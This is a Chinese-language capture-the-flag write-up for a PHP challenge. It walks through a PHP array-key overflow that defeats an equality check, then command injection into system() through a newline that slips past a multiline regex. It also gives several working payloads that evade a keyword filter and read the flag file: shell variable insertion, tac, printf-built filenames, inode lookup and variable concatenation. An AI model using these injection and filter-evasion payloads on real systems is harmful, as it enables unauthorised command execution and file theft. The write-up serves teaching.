题目描述
暂无
Solution
打开页面,阅读源码:
1、首先从 POST data 拿到stuff
变量,比较stuff
和array
是否相等,并且stuff[0] != 'admin'
;这里直接比较肯定不行;PHP 数组的 Key 最大值是 232,当等于这个数是会溢出为 0;
基于此我们构造 Payload:
stuff[4294967296]=admin&stuff[1]=user&num=123
2、从 POST data 拿到num
变量,然后进行preg_match()
正则匹配,返回 0 表示匹配失败,返回 1 表示匹配成功;
- 第一个正则匹配:要
num
是一个或多个数字,忽略大小写;它开启了多行匹配,有绕过风险; - 第二个正则匹配:如果没有匹配到
sh
、wget
、nc
等等一系列字符,才会进入分支;
如果有多个模式串符合,preg_match()
只会匹配一次。如果所有的if
都满足条件,则会执行system("echo ".$num);
,这里可以拼接字符串达到任意代码执行;
我们更新 Payload:
stuff[4294967296]=admin&stuff[1]=user&num=123%0a ls /
由于flag
被正则匹配过滤了,我们只能采用别的办法读取文件。
1、用 Shell 特殊字符绕过
Linux Shell 里$n
表示传入脚本的第 n 个参数,当参数不存在时,$n
为空字符串。
stuff[4294967296]=admin&stuff[1]=user&num=123%0a ca$9t /fla$9g
2、用tac
逆序输出
当 cat 被过滤时可以用 tac 代替。结合 printf 写入文件实现文件读取:
printf /fla >> /tmp/banana
printf g >> /tmp/banana
tac `tac /tmp/banana`
3、用 inode 查找文件
Linux 下每个文件都有自己的 inode 值,使用 find 查找的时候可以按 inode 值查找:
ls -i /
tac `find / -inum 1835251`
4、利用环境变量拼接出命令
a=f;d=ag;c=l;tac /$a$c$d